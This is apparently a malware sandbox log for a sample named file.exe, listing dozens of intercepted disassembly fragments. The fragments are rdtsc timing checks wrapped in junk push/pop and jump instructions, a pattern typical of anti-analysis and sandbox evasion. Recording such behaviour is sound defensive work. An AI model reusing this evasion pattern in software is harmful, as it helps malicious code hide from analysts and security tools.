Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E4F0 second address: 57E50B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F737h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E50B second address: 57E515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB438CB0BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E515 second address: 57E523 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F72Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580AB9 second address: 580ACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0BFEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5807AE second address: 5807BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F72Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5807BF second address: 5807CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jno 00007FB438CB0BF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5807CF second address: 5807EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F737h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583BAD second address: 583BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583BB1 second address: 583BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583BBB second address: 583C0A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB438CB0BF6h 0x00000008 jmp 00007FB438CB0BFFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 ja 00007FB438CB0BF6h 0x00000016 pop esi 0x00000017 push ecx 0x00000018 jp 00007FB438CB0BF6h 0x0000001e jmp 00007FB438CB0C02h 0x00000023 pop ecx 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FB438CB0C01h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583C0A second address: 583C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583C10 second address: 583C39 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB438CB0BF6h 0x00000008 jmp 00007FB438CB0C07h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FB438CB0BF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5858AD second address: 5858B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58940D second address: 58941C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 pushad 0x00000007 jbe 00007FB438CB0BF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58958C second address: 5895A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C6F731h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5895A7 second address: 5895AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5895AD second address: 5895B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5895B2 second address: 5895D5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB438CB0C07h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5895D5 second address: 5895FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB438C6F738h 0x00000008 jmp 00007FB438C6F72Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589BA6 second address: 589BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F35C second address: 58F360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E24F second address: 58E255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E39A second address: 58E39E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E39E second address: 58E3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E3AA second address: 58E3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E3AE second address: 58E3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532E45 second address: 532E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532E4A second address: 532E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438CB0C07h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532E65 second address: 532F06 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB438C6F726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FB438C6F728h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 call 00007FB438C6F737h 0x0000002c sub dword ptr [ebp+122D2875h], ecx 0x00000032 pop edi 0x00000033 xor dword ptr [ebp+122D2812h], ebx 0x00000039 mov ebx, dword ptr [ebp+12483F6Ah] 0x0000003f push 00000000h 0x00000041 push edx 0x00000042 call 00007FB438C6F728h 0x00000047 pop edx 0x00000048 mov dword ptr [esp+04h], edx 0x0000004c add dword ptr [esp+04h], 0000001Ch 0x00000054 inc edx 0x00000055 push edx 0x00000056 ret 0x00000057 pop edx 0x00000058 ret 0x00000059 add eax, ebx 0x0000005b mov dx, D159h 0x0000005f nop 0x00000060 pushad 0x00000061 pushad 0x00000062 pushad 0x00000063 popad 0x00000064 jmp 00007FB438C6F732h 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c js 00007FB438C6F726h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532F06 second address: 532F3E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a jmp 00007FB438CB0C07h 0x0000000f pop esi 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 popad 0x00000017 nop 0x00000018 mov cl, bl 0x0000001a push 00000004h 0x0000001c movsx ecx, si 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push eax 0x00000024 pop eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532F3E second address: 532F49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FB438C6F726h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532F49 second address: 532F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a je 00007FB438CB0BF6h 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007FB438CB0BF6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E6B1 second address: 58E6B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595F43 second address: 595F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB438CB0BF6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59408D second address: 594092 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594092 second address: 5940B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438CB0BFEh 0x00000009 jp 00007FB438CB0BF6h 0x0000000f popad 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5948AA second address: 5948B4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5948B4 second address: 5948BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FB438CB0BF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5948BF second address: 5948C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5956A9 second address: 5956AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5959A5 second address: 5959BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB438C6F732h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5959BE second address: 5959D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB438CB0BFBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF0D second address: 59DF27 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB438C6F726h 0x00000008 jnp 00007FB438C6F726h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FB438C6F72Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF27 second address: 59DF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF2D second address: 59DF31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF31 second address: 59DF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF37 second address: 59DF4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jbe 00007FB438C6F726h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E490 second address: 59E496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E5CF second address: 59E5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E752 second address: 59E76A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E76A second address: 59E770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E770 second address: 59E774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E8B6 second address: 59E8CA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB438C6F726h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FB438C6F72Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4FAC second address: 5A4FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4FB2 second address: 5A4FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5139 second address: 5A513F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5570 second address: 5A5574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5574 second address: 5A557A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A557A second address: 5A5592 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F733h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5B08 second address: 5A5B12 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB438CB0BFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6547 second address: 5A6554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FB438C6F726h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4A86 second address: 5A4AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB438CB0BF6h 0x0000000a jmp 00007FB438CB0C05h 0x0000000f popad 0x00000010 push ebx 0x00000011 jmp 00007FB438CB0C08h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4AC0 second address: 5A4AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C6F730h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD2B9 second address: 5AD2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD2BF second address: 5AD2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB665 second address: 4EB669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC007 second address: 5BC01F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FB438C6F72Fh 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC01F second address: 5BC024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC024 second address: 5BC02A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC161 second address: 5BC183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0BFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB438CB0C02h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF608 second address: 5BF60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C11B5 second address: 5C11C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007FB438CB0BF6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C11C3 second address: 5C11EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB438C6F738h 0x0000000b popad 0x0000000c push eax 0x0000000d ja 00007FB438C6F728h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C85AE second address: 5C85B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4A44 second address: 5D4A6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F72Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB438C6F736h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4A6B second address: 5D4A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4A6F second address: 5D4A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6228 second address: 5D622E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC6B8 second address: 5DC6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007FB438C6F744h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC6E1 second address: 5DC6FC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB438CB0BF8h 0x00000008 jmp 00007FB438CB0BFAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC6FC second address: 5DC702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC702 second address: 5DC71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438CB0C08h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC71F second address: 5DC731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C6F72Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC731 second address: 5DC735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC88F second address: 5DC895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC895 second address: 5DC899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCA14 second address: 5DCA1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCB63 second address: 5DCB89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0BFAh 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FB438CB0BF6h 0x0000000f jmp 00007FB438CB0C02h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCB89 second address: 5DCB99 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB438C6F726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCD00 second address: 5DCD1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop ebx 0x00000010 jmp 00007FB438CB0BFAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCE97 second address: 5DCEBB instructions: 0x00000000 rdtsc 0x00000002 je 00007FB438C6F726h 0x00000008 jmp 00007FB438C6F72Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FB438C6F72Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD02C second address: 5DD034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD034 second address: 5DD038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD17D second address: 5DD181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD181 second address: 5DD18B instructions: 0x00000000 rdtsc 0x00000002 js 00007FB438C6F726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD18B second address: 5DD1A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438CB0C05h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2B5B second address: 5E2B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2747 second address: 5E274C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF97B second address: 5EF991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C6F730h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF991 second address: 5EF996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
